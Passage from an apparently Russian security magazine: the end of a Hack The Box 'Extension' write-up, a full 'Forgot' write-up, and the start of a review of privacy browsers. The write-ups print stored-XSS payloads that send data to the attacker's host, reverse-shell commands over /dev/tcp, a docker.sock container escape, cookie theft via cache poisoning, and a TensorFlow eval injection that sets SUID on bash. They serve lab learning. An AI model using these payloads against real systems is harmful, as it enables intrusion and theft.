ÒÎ×ÊÀ ÂÕÎÄÀ
Тогда посмотрим на пользовательский сайт через Burp. Нас интересует
Burp History.

Вкладка Burp History

В коде страницы видим использование какого-то API. Изучив его подробнее,


находим возможность не только получать разную информацию, но и дампить
ее.

API для дампа информации

Первым делом я решил посмотреть на пользователей сайта, но это получится


только после авторизации.

Запрос страницы /users

А вот при запросе дампа нам отвечают, что мы не указали нужный параметр.
То есть никакой авторизации не требуется.

Запрос страницы /management/dump

Так как нам интересна информация о пользователях, в качестве значения


будем использовать users. Но имя параметра нужно будет перебрать. Раз
ответ пришел в формате JSON, передавать параметр мы будем так же.
Для перебора я использовал Burp Intruder.

Burp Intruder — вкладка Positions

Результат перебора имени параметра

И находим название нужного параметра — download. Ответ очень большой,


поэтому сохраняем в файл и выводим в jq.

Полученные данные

Нам доступны хеши паролей пользователей, поэтому для перебора попробу-


ем узнать алгоритм с помощью hashid.

Распознавание алгоритма хеширования

В качестве алгоритма шифрования, скорее всего, используется SHA-256.


Давай выберем из списка все пары логинов и паролей.

cat users.dump| jq | grep 'email"\|password' | cut -d '"' -f 4 >


users.txt

Затем можно все последовательности .htb\n заменить двоеточием, тогда


мы получим строки типа логин:пароль. Отправляем список программе John
the Ripper и указываем формат хеша. Спустя несколько секунд получим
пароль.

john -form=dynamic='sha256($p)' --wordlist=~/tmp/wordlists/Passwords/


rockyou.txt creds.txt

Результат перебора хешей

С полученными учетными данными мы можем авторизоваться на сайте.

Главная страница авторизованного пользователя

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

HTB EXTENSION
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA
И СБЕГАЕМ ИЗ DOCKER

ÒÎ×ÊÀ ÎÏÎÐÛ
Ïîëüçîâàòåëüñêèé ñåðâèñ
Мы можем перейти к сниппетам и создать свой. Так у нас будет возможность
менять и удалять его.

Доступные сниппеты

При изменении сниппета передаются его параметры и тип: публичный


или нет. Тогда я решил перебрать идентификатор сниппета, чтобы узнать,
как работает контроль доступа к изменению параметров. И у нас получилось
сделать публичным чей-то сниппет.

Запрос на публикацию сниппета

Доступные сниппеты

Просмотрим вытащенный нами сниппет и найдем там HTTP-заголовок


базовой аутентификации. Декодируем строку Base64 и получаем учетные
данные для пользователя jean.

Содержимое сниппета

Учетные данные пользователя

С полученными учетными данными можем авторизоваться в Gitea. Там нам


доступен один проект.

Репозиторий extension

Gitea
Сам проект — это плагин браузера для быстрого оповещения об ошибках.
В настройках проекта находим соавтора, это нам пригодится.

Соавторы проекта

Просматривая историю изменений, обращаем внимание, что при публикации


сообщения его текст должен фильтроваться.

Старый фильтр сообщений

Находим подобный фрагмент в коде текущего параметра.

Новый фильтр сообщений

Из сообщения удаляется любая последовательность символов, если она зак-


лючена в треугольные скобки, то есть похожа на HTML-тег. Также если при-
сутствует последовательность символов, приведенных в переменной filter.
Но в самом регулярном выражении ошибка, так удалится только первое вхож-
дение последовательности в тегах. Проверим это, для чего запустим
веб-сервер и отправим следующую строку:

qwe<qwe><img src="http://10.10.14.7/test">

Отправка сообщения

Опубликованное сообщение

Логи веб-сервера

В логах веб-сервера увидим подключение, значит, можно проэксплуати-


ровать хранимую XSS.

Õðàíèìàÿ XSS
Я решил попробовать получить проекты пользователя charlie. Список про-
ектов можно запросить по API:

/api/v1/users/[user]/repos')

Нагрузку построим следующим образом: чтобы избежать фильтрации, будем


использовать Fetch API, а после обращения к API ответ закодируем
в Base64 и отправим на свой веб-сервер:

fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(
response => response.text()).then(data => fetch('http://10.10.14.7/'+
btoa(data)))

Логи веб-сервера

Декодируем Base64 и получаем содержимое страницы.

Информация о репозиториях пользователя

Видим проект backups, но скачать файлы напрямую не вышло. Тут мне приш-
лось обратиться за помощью к комьюнити, и мне посоветовали добавить сво-
его пользователя в соавторы этого проекта.

var u='http://dev.snippet.htb/charlie/backups/settings/collaboration'
;fetch(u).then(r => document.querySelector('meta[name=_csrf]').
content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'
application/x-www-form-urlencoded;'},body:'collaborator=jean&_csrf='+
t}).then(d => fetch('http://10.10.14.7/yes')))

Репозитории пользователя jean

Нам стал доступен проект backups, он содержит всего один архив.

Файлы в репозитории backups

А в архиве находим приватный SSH-ключ пользователя.

Содержимое архива

Даем файлу соответствующие права (chmod 0600 id_rsa) и подключаемся


к удаленному хосту.

Сессия пользователя charlie

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

HTB EXTENSION
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA
И СБЕГАЕМ ИЗ DOCKER

ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü jean
В системе есть еще один пользователь — jean.

Содержимое каталога /home

Мы уже получали пароль этого пользователя для одного сервиса, поэтому


пробуем использовать его и для системы. Он подходит!

Флаг пользователя

Docker inside
Теперь нам необходимо собрать информацию, чтобы понять, как продвигать-
ся дальше. Я для этого использую скрипты PEASS.

Справка: скрипты PEASS


Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. В выводе будет много информации, поэтому отберем только
значимую.
Во-первых, присутствует много сетевых интерфейсов, типичных
для Docker.

Сетевые интерфейсы

Во-вторых, прослушивается много сетевых веб-портов, а также порт MySQL.

Прослушиваемые порты

Больше ничего интересного найти не удалось, поэтому посмотрим, какие


процессы запускаются на хосте. Для этого я использую утилиту pspy64. Заг-
рузим ее на хост тем же способом, что и LinPEAS, а потом выполним.
В выводе находим команду для подключения к СУБД и изменения пароля
пользователя сайта. В команде есть учетные данные для подключения
к СУБД.

Вывод утилиты pspy64

Подключимся к базе данных, для чего нужно прокинуть трафик с пор-


та 3306 на свой хост с помощью SSH.

ssh -i ./id_rsa -L 3306:localhost:3306 charlie@10.10.11.171 -N

Таким образом весь трафик, который мы пошлем на локальный порт 3306,


будет туннелирован на порт 3306 указанного хоста (в данном слу-
чае 127.0.0.1) через SSH-хост. Теперь подключимся к базе и получим таб-
лицы:

mysql -h 127.0.0.1 -u root -ptoor --database webapp


show tables;

Таблицы в базе данных webapp

Нам интересна таблица users, получим ее записи.

select * from users;

Записи в таблице users

Видим, что у каждого пользователя есть свой user_type. Управляющая


запись всего одна. Но мы можем назначить это право и пользователю, учетка
которого под нашим контролем.

update users set user_type='Manager' where email='letha@snippet.htb';

Изменение типа учетной записи letha

Обновим страницу сайта и увидим кнопку проверки.

Пользователи сайта

При проверке пользователя нам покажут сообщение «Mail is valid!». Получив


его, я решил найти сам проект на хосте и посмотреть исходный код проверки.
Проект расположен в домашнем каталоге пользователя.

Содержимое домашнего каталога пользователя

Найдем участок, где упоминается отображенное нам сообщение.

grep -iR 'Mail is valid!' ./ 2>/dev/null

Поиск подстроки в файлах проекта

Теперь просмотрим все содержимое файла AdminController.php.

Содержимое файла AdminController.php

Из почтового адреса пользователя извлекается домен, после чего он пин-


гуется через вызов shell_exec. Здесь мы можем выполнить инъекцию
команды ОС. Для этого добавим запись в таблицу users, где в поле поч-
тового адреса запишем конвейер с реверс-шеллом.

insert into users(name,email,email_verified_at,password,


remember_token,created_at,updated_at,user_type) values('ralf',
'ralf@ralf|bash -c "/bin/sh -i >& /dev/tcp/10.10.14.84/4321 0>&1"',
'2022-01-02 20:15
:30',
'ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f',
'UvLHOFpwyD5LYcAeOEEwYdxVwjBWszbWIKO3qRAzc5x8uJ3ZJ4VA2OiZqKgU',
'2022-01-02 20:15:00','2022-01-02 20:15:00','Manager');

Обновленный список пользователей

Теперь запустим листенер и проверим созданного пользователя:

pwncat_cs -lp 4321

В pwncat увидим новую сессию.

Сессия пользователя application

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Мы попали в Docker, а для разведки в нем есть прекрасный скрипт deepce.
Скрипт по возможности проверит настройки контейнера и окружения
и покажет пути для побега. Загружаем его в контейнер, даем право на выпол-
нение и запускаем. Deepce показал, что есть монтированный docker.sock.

Настройки монтирования

Определим путь к docker.sock, просто поискав его в файловой системе.

find / -name docker.sock 2>/dev/null

Поиск docker.sock

Использование docker.sock дает нам путь к побегу из контейнера. Для этого


первым делом нужно узнать, какие есть образы.

curl -s --unix-socket /app/docker.sock http://localhost/images/json

Существующие образы

Теперь мы можем создать контейнер для образа laravel-app_main:latest,


при этом указать команду, которая выполнится при его запуске. В нашем слу-
чае это будет реверс-шелл.

cmd="["/bin/sh","-c","chroot /tmp sh -c \\"bash -c 'bash -i &>/dev/


tcp/10.10.14.84/5432 0<&1'\\""]"

curl -s -X POST --unix-socket /app/docker.sock -d "{"Image":"laravel-


app_main","cmd":$cmd,"Binds":["/:/tmp:rw"]}" -H 'Content-Type:
application/json' http://localhost/containers/create?name=ralf_root

Создание контейнера

Теперь запускаем созданный контейнер и получаем соединение на листенер


netcat.

curl -s -X POST --unix-socket /app/docker.sock "http://localhost/


containers/
87628e84d50408a88d9b865ba0053a85dfa21635dfc5e114b83b920d9201061d/
start"

Флаг рута

Машина захвачена!
ВЗЛОМ

HTB
FORGOT

ОТРАВЛЯЕМ WEB CACHE


ДЛЯ ПОЛУЧЕНИЯ
АДМИНКИ САЙТА

В этом райтапе я покажу технику отравле-


ния веб-кеша, которая позволяет получить
куки администратора сайта. Доступ
к Varnish Cache мы получим через сброс
пароля, а для повышения привилегий про- RalfHacker
hackerralf8@gmail.com
эксплуатируем уязвимость в модуле
TensorFlow для Python.

Наша цель — захват машины Forgot с площадки Hack The Box. Уровень слож-
ности — средний.

WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.188 forgot.htb

И запускаем сканирование портов.

Справка: сканирование портов


Сканирование портов — стандартный первый шаг при любой атаке. Он поз-
воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Nmap нашел нам два открытых порта: 22 — служба OpenSSH 8.2p1 и 80 —


веб-сервер Werkzeug 2.1.2, запущенный из Python 3. Переходим на сайт, где
нас сразу встречает форма авторизации.

Форма авторизации

С помощью Burp Suite построим карту сайта, для чего в контекстном меню
Burp History выбираем Engagement tools → Discover content.

Карта сайта

Ничего нового и полезного для продвижения не находим. Просмотрим ком-


ментарии в исходном коде страниц, может быть, получится узнать что-то
интересное. Чтобы удобно отобразить все комментарии с сайта, в Burp
переходим к контекстному меню и выбираем Engagement tools → Find
comments.

Комментарии с сайта

В итоге находим пользователя. Попробуем запросить смену пароля для него.

Запрос на смену пароля

Так как была отправлена ссылка для сброса пароля, пользователь реален.

ÒÎ×ÊÀ ÂÕÎÄÀ
По HTTP-заголовкам ответа определяем, что на сервере работает Varnish.
Это ускоритель HTTP, разработанный для динамических веб-сайтов с боль-
шим количеством контента и API. Пробуем в HTTP-заголовке Host запроса
указать свой адрес, активируем листенер и ловим входящий запрос.

Запрос на сброс пароля

Логи листенера

Во входящем запросе присутствует токен для сброса пароля. Идем на ука-


занную страницу, где нам сразу предлагают установить новый пароль.

Форма смены пароля

Меняем пароль, авторизуемся и осматриваемся на сайте.

Домашняя страница пользователя

Нам доступны страницы Tickets и Escalate. На первой мы видим проблемы


и их статус, на второй есть форма связи с администратором. Отметим
для себя проблему с учетными данными для доступа по SSH.

Страница Tickets

Страница Escalate

Есть еще страница, но ссылка на нее неактивна. Хоть ее и можно найти


в исходном коде страницы, доступ все равно запрещен. Нужны права адми-
нистратора.

Поиск ссылки на административную страницу

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

HTB FORGOT
ОТРАВЛЯЕМ WEB CACHE
ДЛЯ ПОЛУЧЕНИЯ
АДМИНКИ САЙТА

ÒÎ×ÊÀ ÎÏÎÐÛ
У нас есть связь с администратором через форму заявок. Я потестировал ее
на наличие уязвимостей XSS, но ничего не обнаружил. А вот благодаря карте
сайта можно найти страницы, а вернее каталог, где можно отравить кеш. Так,
на всех страницах, кроме тех, что в каталоге /static, счетчик все время
обнуляется. А вот в каталоге /static он растет до значения 240 (четыре
минуты), после чего уже обнуляется.

Ответ сервера на страницу login

Ответ сервера на страницу в каталоге static

Кеширование заключается в сохранении копии ресурса, чтобы вернуть ее


в ответ на дальнейшие запросы. Запрос на ресурс, уже имеющийся
в веб-кеше, перехватывается, и вместо того, чтобы обращаться к серверу,
загружается копия из кеша. Таким образом снижается нагрузка на сервер,
которому не приходится самому отвечать всем клиентам, и повышается про-
изводительность.

WWW
Подробнее о механизмах кеширования сайтов ты
можешь прочитать, например, в статье
«Веб-кеширование на примере покупки молока
в магазине» на «Хабрахабре».

Отравление веб-кеша — это атака, при которой атакующий использует


поведение веб-сервера и кеша таким образом, чтобы в кеше другим поль-
зователям доставлялся опасный HTTP-ответ. То есть без взаимодействия
с другими пользователями уязвимость проэксплуатировать не получится.
Первым делом стоит проверить, выполняется ли кеширование
для несуществующих страниц.

Счетчик (заголовок Age) растет, значит, для несуществующих страниц


в каталоге /static происходит кеширование. Теперь нам нужно найти ключ
кеша — какое-то значение в HTTP-запросе, при изменении которого счетчик
кеша будет обнуляться. В данном случае ключом оказалось значение
заголовка Host.

При этом обрати внимание, что в первом запросе кешированный ответ


содержит наш куки!

ÏÐÎÄÂÈÆÅÍÈÅ
Собираем все воедино. Мы можем отправить админу сообщение, содер-
жащее ссылку, и он на нее перейдет. При этом есть каталог, кеширующий
ответ сервера, причем ответ может вернуть куки пользователя. Поэтому
отправим администратору ссылку на любой несуществующий файл в каталоге
/static, спустя время обратимся к нему же и проверим заголовок Set-
Cookie.

Отправка сообщения администратору

Запрос на несуществующую страницу

И нам вернули куки, предположительно админа.


Вставляем идентификатор сессии в хранилище браузера и переходим
к административной странице /admin_tickets.

Замена cookie

Страница администратора

Видим тикет, где упоминаются учетные данные для SSH. Если их просто ско-
пировать, то авторизоваться не получится. Причина в том, что на странице
некоторые символы отображаются в верхнем регистре. Мы с этим стал-
кивались при отправке сообщений админу: введенный текст автоматически
переводился в верхний регистр. Поэтому переходим к исходному коду сайта
и копируем учетные данные оттуда.

Исходный код сайта

Подключаемся по SSH и забираем первый флаг.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Теперь нам необходимо собрать информацию о системе. Я буду исполь-
зовать для этого скрипты PEASS.

Справка: скрипты PEASS


Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. В выводе будет много информации, поэтому отберем только
значимую.
• На хосте активен Cron, запускающий скрипт /home/diego/bot.py.

Настройки Cron

• В списке открытых портов видим работающие СУБД MySQL (порт 3306)


и веб-сервер (порт 8080).

Открытые локальные порты

• В настройках sudoers для пользователя diego есть запись. Мы можем


запустить скрипт /opt/security/ml_security.py от имени поль-
зователя root.

Настройки судоера

Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.

Скрипт оказался большим, поэтому я скопировал его на локальную машину


и открыл в VS Code. Первым делом пробегаемся по коду и копируем важные
данные, к примеру учетку для подключения к базе данных.

Фрагмент кода ml_security.py

Затем видим подсчет каких-то значений (спасибо комментариям), проверку


итогового значения, рассчитанного на основе шести представленных,
и выполнение функции preprocess_input_exprs_arg_string.

Фрагмент кода ml_security.py

Среди импортов находим модуль tensorflow, к которому относится функция.

Импорты модулей скрипта

Разбираясь с найденной функцией, я нашел статью, где рассказано о выпол-


нении кода через eval внутри preprocess_input_exprs_arg_string, если
ее второй аргумент safe=False.

Фрагмент исходного кода функции preprocess_input_exprs_arg_string

Таким образом, из таблицы escalate извлекаются данные, которые переда-


ются в функции вида loaded_model*.predict(), а затем в функцию
preprocess_input_exprs_arg_string, где произойдет их выполнение
как кода. Давай подключимся к базе данных и запишем в таблицу escalate
такую нагрузку:

r=exec("""\nimport os\nos.system("chmod +s /usr/bin/bash")""")

Она установит SUID для файла командной оболочки /bin/bash.

mysql -D app -udiego -p'dCb#1!x0%gjq'

insert into escalate values ("1","1","1",'r=exec("""import os; os.


system("chmod +s /usr/bin/bash")""")');

А теперь запустим скрипт c sudo и проверим права на файл /bin/bash.

Результат выполнения ml_security.py

Справка: бит SUID


Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

Оболочка /bin/bash теперь будет запускаться от имени пользователя root.

/bin/bash -p

Флаг рута

Машина захвачена!
ПРИВАТНОСТЬ

СРАВНИВАЕМ БЕЗОПАСНЫЕ
БРАУЗЕРЫ 2023 ГОДА

Браузеры собирают много информации


о пользователях и отслеживают их
активность в интернете. Чтобы этому
помешать, существуют специальные при-
ватные браузеры, призванные блюсти твою Валентин Холмогоров
Ведущий редактор
конфиденциальность, блокировать трекинг valentin@holmogorov.ru

и рекламу. Сегодня мы рассмотрим и срав-


ним семь таких программ в актуальных вер-
сиях 2023 года, а затем выберем лучшие
из них.

Если тебе кажется, что за тобой следят, возможно, тебе не кажется. Сайты,
которые мы посещаем, собирают большой объем информации о конфигура-
ции нашего компьютера, мобильного телефона или планшета, а также
об используемом программном обеспечении. Интернет-ресурсы не только
устанавливают файлы cookies, но и могут определить твою геолокацию, IP-
адрес, название провайдера, версию и языковые настройки операционной
системы, браузера, локальное время, тип и скорость подключения к интерне-
ту. А также узнать, какие протоколы поддерживает браузер, какие плагины
в нем используются, включен ли JavaScript, имеет ли устройство встроенную
камеру, гироскоп, и собрать множество других сведений.
На основе всей этой информации можно составить уникальный иден-
тификатор каждого работающего в интернете устройства — browser
ngerprint. Даже поменяв одну или несколько настроек в системе, невоз-
можно изменить сам идентификатор, поскольку он использует сразу множес-
тво параметров. Тебя все равно узнают, если захотят.
Кроме того, движки разных браузеров немного по-разному отображают
шрифты и отдельные глифы Unicode. Сравнивая заполненные текстом HTML-
элементы на просматриваемых в браузере веб-страницах и формы букв
по умолчанию в словаре известных гарнитур, можно составить шрифтовые
отпечатки, font ngerprint. Эти отпечатки помогают сайтам опознать любой
браузер, и твой — тоже!
Чаще всего такую идентификацию используют, чтобы показывать рекламу.
Звучит довольно безобидно, но, как говорится, есть нюансы. Так, в 2014 году
исследователь Александр Коган по заказу компании Cambridge Analytica раз-
работал приложение под названием This is Your Digital Life для опроса поль-
зователей Facebook. Несмотря на то что в опросе приняло участие нез-
начительное число пользователей, приложение смогло получить доступ
не только к профайлам участников, но и к страницам всех, кто присутствовал
в списке их друзей. Таким образом были собраны данные примерно
о 80 миллионах американцев — включая сведения об их геолокации, родном
городе, дате рождения, лайках постов, интересах, онлайн-активности, пред-
почтениях, родственных связях. Разумеется, без ведома и согласия поль-
зователей.
В наши дни, когда даже неосторожный лайк чужого поста может иметь
самые неприятные последствия, делиться с окружающим миром таким объ-
емом данных — неоправданный риск. Следовательно, нужно использовать
специальные браузеры, ориентированные на повышенную конфиденциаль-
ность и безопасность. Одним из самых безопасных и защищенных считается
Tor Browser. Но эта программа предназначена не столько для защиты кон-
фиденциальности пользователя в интернете, сколько для просмотра содер-
жимого Даркнета и для серфинга в onion-сети. Поэтому его мы как раз под-
робно изучать не будем.
Существует несколько альтернативных браузеров, созданных для защиты
конфиденциальности и анонимности в интернете. Давай рассмотрим самые
известные из них и сравним их возможности. Для оценки информации,
которой эти браузеры делятся с окружающим миром, мы будем использовать
сайт BrowserLeaks. Для просмотра трафика — бесплатную программу
Portmaster, которая позволяет наглядно отслеживать соединения конкретных
приложений. Браузеры мы будем запускать в конфигурации по умолчанию,
не меняя никаких настроек.

BRAVE

• Сайт: brave.com
• Движок: Chromium
• Исходный код: открытый
• Первый выпуск: 2019 год
• Версии: Windows, Linux, Android, iOS и macOS (в том числе, ARM-based)

Браузер Brave базируется на Chromium и обладает открытым исходным


кодом. С точки зрения безопасности это можно отнести к достоинствам, пос-
кольку любой человек, владеющий языками программирования, может изу-
чить код программы и убедиться, что закладок и других потенциально опас-
ных функций тут нет.
В качестве базового движка в Brave используется Blink, в качестве движка
JavaScript — V8, а в версии для iOS применяется WebKit от Apple. Этот бра-
узер разрабатывает американская компания Brave Software, Inc.
из Сан-Франциско. Существуют версии для Windows, Linux, Android, iOS
и macOS (в том числе ARM-based). Первая версия этого браузера появилась
на свет относительно недавно — 13 ноября 2019 года. Разработчики утвер-
ждают, что даже с настройками по умолчанию Brave эффективно блокирует
рекламу, предотвращает трекинг, а в режиме Safe Browsing не ведет журналы
и не хранит IP-адрес.
При первом запуске Brave предлагает блокировать прием cookies,
это повышает безопасность серфинга. Если нажать кнопку в правом верхнем
углу окна и выбрать в меню пункт Settings, откроется экран настроек.
Параметры приватности собраны на вкладке Sheilds.

Настройки приватности Brave

Здесь можно отключить автодетектирование Accelerated Mobile Pages —


страниц для ускоренной загрузки мобильного контента, защиту
от ngerprinting и редирект, который не позволяет рекламным площадкам
отслеживать браузер.
Ниже расположено меню, позволяющее выбрать степень обеспечения
приватности для блокировки рекламы и трекеров: Standard (это значение
по умолчанию), Agressive или Disabled. Тут же можно отключить все скрипты
и включить блокировку cookies. Давай выберем режим Trackers & ads
blocking — Agressive.
Если нажать Content Filtering, откроется список фильтров, с использовани-
ем которых Brave блокирует рекламу и трекеры. Чтобы просмотреть весь
перечень, нажми Show full list. По умолчанию включено только десять филь-
тров, но их гораздо больше. Можно включить все, однако учти, что чем боль-
ше фильтров, тем больше контента будет блокироваться, в результате чего ты
можешь не увидеть на сайтах что-то полезное.
Обычно браузеры хранят информацию о том, в какие социальные сети ты
залогинен, и отдают ее кому угодно по первому требованию. Чтобы вык-
лючить эту функцию, открой вкладку Social media blocking. По умолчанию там
предлагается на выбор Google, Twitter, Facebook, а показ данных из LinkedIn
почему-то включен. Можно отключить его, если ты не хочешь, чтобы тебе
писали HR из компаний Илона Маска.
На вкладке Search engine можно выбрать поисковую систему, которая
будет использоваться в Brave по умолчанию. Google желает знать очень мно-
гое о пользователях, отслеживает их запросы, нажатия на ссылки и фиксирует
перемещения по сайтам, где установлены рекламные скрипты Google Ads,
поэтому в целях безопасности можно выбрать поисковик DuckDuckGo.
Сайт BrowserLeaks показывает, что по умолчанию в Brave включена под-
держка JavaScript и WebGL (это один из интерфейсов JavaScript для отоб-
ражения 3D-графики, который позволяет некоторым сайтам определять тип
графического адаптера на твоем устройстве), поэтому браузер охотно
передает текущие параметры операционной системы и оборудования, вклю-
чая наличие микрофона и камеры. Также он позволяет снимать цифровые
отпечатки c использованием Canvas API и font ngerprinting. Это небезопасно,
но обычные браузеры оставляют в сети еще больше пользовательских дан-
ных.
При этом BrowserLeaks показывает, что в браузере работают контентные
фильтры, блокирующие рекламу и трекинг: всего таких фильтров насчитыва-
ется десять (в основном используется uBlock). Это означает, что программа
действительно мешает рекламным сетям собирать данные.

Контентные фильтры в Brave

Тем не менее наш IP-адрес и местоположение сайт BrowserLeaks определил


достаточно точно, а это небезопасно. Но на этот случай у Brave есть
еще одна отличная фишка, которой нет у других приватных браузеров! Если
щелкнуть на кнопке в правой части инструментальной панели браузера и выб-
рать в открывшемся меню пункт New Private Window with Tor, откроется новое
окно браузера, соединение в котором будет установлено через Tor Network.

Режим Tor в Brave

Если мы откроем в этом окне сайт BrowserLeaks, то увидим, что наш IP-адрес
и геолокация изменились. Это позволяет скрывать реальное местополо-
жение без использования VPN. Правда, BrowserLeaks сумел определить, что
новый IP-адрес принадлежит выходной ноде сети Tor. Некоторые сайты бло-
кируют доступ пользователям Tor-сети, это нужно учитывать.

В этом окне можно не только анонимно просматривать обычные сайты, но и


обращаться к ресурсам Даркнета, расположенным в зоне .onion. Теперь нам
не нужно два разных браузера — один для приватного просмотра обычных
сайтов, а другой для серфинга по Даркнету. Достаточно одного Brave.
Посмотрим с помощью Portmaster, какие соединения инициирует браузер
Brave. Он регулярно обращается к серверам обновлений brave.com, а также
использует собственные DNS-серверы для обработки запросов, помимо
DNS-серверов, указанных в настройках соединения. Никаких других подоз-
рительных запросов браузер не отправляет. Также Portmaster показывает, что
для навигации в сети Tor браузер Brave использует встроенный 32-битный
движок Tor 0.4.7.13, который работает в том числе в 64-разрядной системе.
Это актуальная версия, выпущенная в текущем месяце, то есть в этом движке
устранены все известные уязвимости и этот движок обеспечивает достаточ-
ный уровень безопасности.

Brave в Portmaster

Таким образом, Brave может заменить сразу два браузера — обычный


для приватного просмотра сайтов в интернете и Tor Browser для просмотра
ресурсов в зоне .onion. По ощущениям браузер работает довольно быстро,
хотя в режиме Private Window with Tor веб-страницы открываются дольше
из-за перенаправления трафика через Tor Network.

Продолжение статьи →
ПРИВАТНОСТЬ ← НАЧАЛО СТАТЬИ

СОСТЯЗАНИЕ
В ПРИВАТНОСТИ
СРАВНИВАЕМ БЕЗОПАСНЫЕ БРАУЗЕРЫ 2023
ГОДА

EPIC

• Сайт: epicbrowser.com
• Движок: Chromium
• Исходный код: закрытый
• Первый выпуск: 2013 год
• Версии: Windows, macOS, Android

Браузер, как и Brave, базируется на Chromium, но это коммерческий продукт


с закрытым исходным кодом. Его разрабатывает с 2013 года компания
Hidden Reex из Индии. В Epic по умолчанию включена комплексная бло-
кировка рекламы, он не сохраняет историю просмотра веб-страниц. Также
в нем предусмотрена защита от сбора отпечатков браузера и блокировка
автозаполнения форм — данные, которые ты вводишь в поля форм
на веб-страницах, не сохраняются в браузере. Кроме того, в настройках Epic
можно включить прокси-сервер, чтобы скрыть твое местоположение. Epic
блокирует cookies и tracking, не позволяя сайтам отслеживать чувствительные
параметры браузера и собирать данные для показа рекламы. Имеются вер-
сии браузера для Windows, macOS и Android.
Интересная особенность Epic в том, что он позволяет изменить настройки
приватности для каждого отдельного сайта, и этих настроек очень много.
Чтобы настроить приватность, открой сайт, нажми кнопку с зонтиком, а потом
надпись View site settings.

Epic позволяет изменить настройки приватности для каждого сайта

Мы можем заблокировать для сайта, открытого в данный момент в окне бра-


узера, геолокацию, запретить ему определять, имеется ли на нашем компь-
ютере камера, микрофон, сенсоры. Можно включить или отключить для этого
сайта JavaScript, загрузку картинок, блокировку рекламы. Это очень удобно,
если при работе в интернете нам нужен JavaScript или антитрекинг мешает
авторизации, но на каких-то сайтах мы хотим его оставить.
Давай включим в Epic режим Encrypted Proxy, зайдем на сайт BrowserLeaks
и посмотрим, что получилось.

Epic в режиме Encrypted Proxy

Отлично, у нас изменился IP-адрес и BrowserLeaks не смог корректно опре-


делить нашу геопозицию. Теперь мы в городе Ашберн, округ Лаудон, штат
Виргиния. Можно посетить Ashburn Park. Интересно, там разрешают кормить
белок?
Чтобы изменить глобальные настройки Epic, нажми кнопку в правой части
инструментальной панели и выбери Settings. Все настройки здесь такие же,
как в обычном Chrome, и находятся на привычных местах. Например, тут мож-
но настроить прием файлов cookies, очистить историю просмотра. В разделе
Security and Privacy — выбрать данные, которыми браузер будет делиться
с сайтами в интернете, а в разделе Site Settings — отключить геопозициони-
рование сразу для всех сайтов.
Теперь посмотрим с помощью Portmaster, какие соединения устанавлива-
ет браузер Epic.

Epic в Portmaster

Браузер активно общается со служебным доменом theepicbrowser.com


с использованием технологии Safe Privacy Network. Если посмотреть на эти
пакеты в Wireshark, то можно увидеть, что Epic регулярно «отстукивается» сво-
им разработчикам, а передаваемые им через Safe Privacy Network данные
зашифрованы. По всей видимости, Epic Browser передает в компанию Hidden
Reex некую телеметрию.
В Epic есть еще одна интересная функция, которую разработчики рек-
ламируют при первом запуске программы, — Epic Video Downloader. Если
ты — пират… ой, то есть любитель видео или музыки, с помощью этой фун-
кции можно скачивать ролики с сайтов прямо на твой компьютер. Попробуем
сделать это и начнем, пожалуй, с YouTube. Я нашел отличное видео с желез-
ными тетками, посвященное игре Atomic Heart. Открываем Video Downloader,
копируем URL... Epic Fail!

Epic Fail

Окей, возможно, Google защищает свои видео. На всякий случай проверим


настройки браузера: Proxy выключен, JavaScript включен. Попробуем сделать
то же самое на Vimeo. Снова Epic Fail!

Epic Fail

Безусловно, функция скачивания видео — очень полезная штука. Жалко, что


она почему-то не работает, по крайней мере на самых популярных видеохос-
тингах. В целом можно сказать, что Epic Browser обеспечивает защиту от тре-
кинга и рекламы, а Encrypted Proxy — полезный инструмент для повышения
приватности, позволяющий скрыть реальный IP-адрес. Но если ты страдаешь
паранойей, закрытый исходный код может преподнести сюрпризы.

AVAST SECURE BROWSER

